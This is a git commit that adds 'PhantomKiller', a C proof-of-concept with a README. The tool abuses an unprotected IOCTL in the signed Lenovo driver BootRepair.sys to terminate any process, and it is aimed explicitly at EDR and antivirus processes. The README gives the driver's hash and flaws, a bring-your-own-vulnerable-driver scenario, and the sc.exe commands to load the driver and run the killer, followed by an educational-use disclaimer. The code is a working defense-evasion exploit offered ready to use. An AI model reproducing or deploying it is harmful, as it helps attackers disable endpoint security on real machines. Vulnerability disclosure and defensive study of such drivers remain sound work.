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2026-05-19 07:14:40 +00:00
commit 8fdf1403b0
5 changed files with 224 additions and 0 deletions
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+#include <windows.h>
+#include <stdio.h>
+
+int main(int argc, char* argv[]) {
+    if (argc != 2) {
+        printf("usage: poc.exe <pid>\n");
+        return 1;
+    }
+
+    DWORD pid = atoi(argv[1]);
+    HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+    if (h == INVALID_HANDLE_VALUE) {
+        printf("[-] open device failed: %d\n", GetLastError());
+        return 1;
+    }
+
+    DWORD ret;
+    if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL))
+        printf("[+] killed %d\n", pid);
+    else
+        printf("[-] ioctl failed: %d\n", GetLastError());
+
+    CloseHandle(h);
+    return 0;
+}
@@ -0,0 +1,7 @@
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+    <Platform Name="x86" />
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@@ -0,0 +1,136 @@
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+    <RootNamespace>PhantomKiller</RootNamespace>
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+      <GenerateDebugInformation>true</GenerateDebugInformation>
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@@ -0,0 +1,56 @@
+# PhantomKiller
+
+weaponizing a signed lenovo kernel driver to terminate any process — including EDR/AV protected processes.
+
+## overview
+
+PhantomKiller abuses `BootRepair.sys`, a legitimate lenovo driver shipped with Lenovo PC Manager. the driver exposes a device object (`\\.\BootRepair`) with no DACL restrictions and a single IOCTL (`0x222014`) that takes a 4-byte PID and calls `ZwTerminateProcess`, no access checks, no caller validation, no protection.
+
+**full writeup:** [Phantom Killer — Reverse Engineering and Weaponizing a Lenovo Driver to Terminate EDR Processes](https://medium.com/@jehadbudagga/phantom-killer-reverse-engineering-and-weaponizing-a-lenovo-driver-to-terminate-edr-processes-9191cd06374f)
+
+## driver details
+
+| field | value |
+|-------|-------|
+| file name | `BootRepair.sys` |
+| sha256 | `5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946` |
+| signer | LENOVO (Symantec Class 3 SHA256 Code Signing CA) |
+| compiled | 2018-01-03 |
+| arch | x64 |
+| VT detections | 0/71 at time of discovery |
+
+## vulnerability summary
+
+- device object created without secure DACL — any user can open a handle
+- `IRP_MJ_CREATE` (MajorFunction[0]) has no access checks
+- `IRP_MJ_DEVICE_CONTROL` (MajorFunction[14]) accepts IOCTL `0x222014`
+- input: 4-byte `DWORD` (target PID)
+- internally calls `PsLookupProcessByProcessId` → `ObOpenObjectByPointer` → `ZwTerminateProcess`
+- kills any process including PPL-protected AV/EDR processes
+
+## attack scenarios
+
+**driver already loaded:** any low-privileged user can open the device and terminate any process on the system.
+
+**BYOVD:** an attacker loads the signed driver via `sc.exe` or similar, then uses it to kill EDR processes before deploying post-exploitation tools.
+
+## usage
+
+```
+sc.exe create PhantomKiller binPath="C:\Path\to\BootRepair.sys" type=kernel
+sc.exe start PhantomKiller
+```
+
+```
+PhantomKiller.exe <pid>
+```
+
+
+
+## disclaimer
+
+this project is for **educational and authorized security research purposes only**. do not use this against systems you do not own or have explicit permission to test. the author is not responsible for any misuse.
+
+## author
+
+**j3h4ck** — [@j3h4ck](https://twitter.com/j3h4ck) | [linkedin](https://www.linkedin.com/in/jehadabudagga/) | [medium](https://medium.com/@j3h4ck)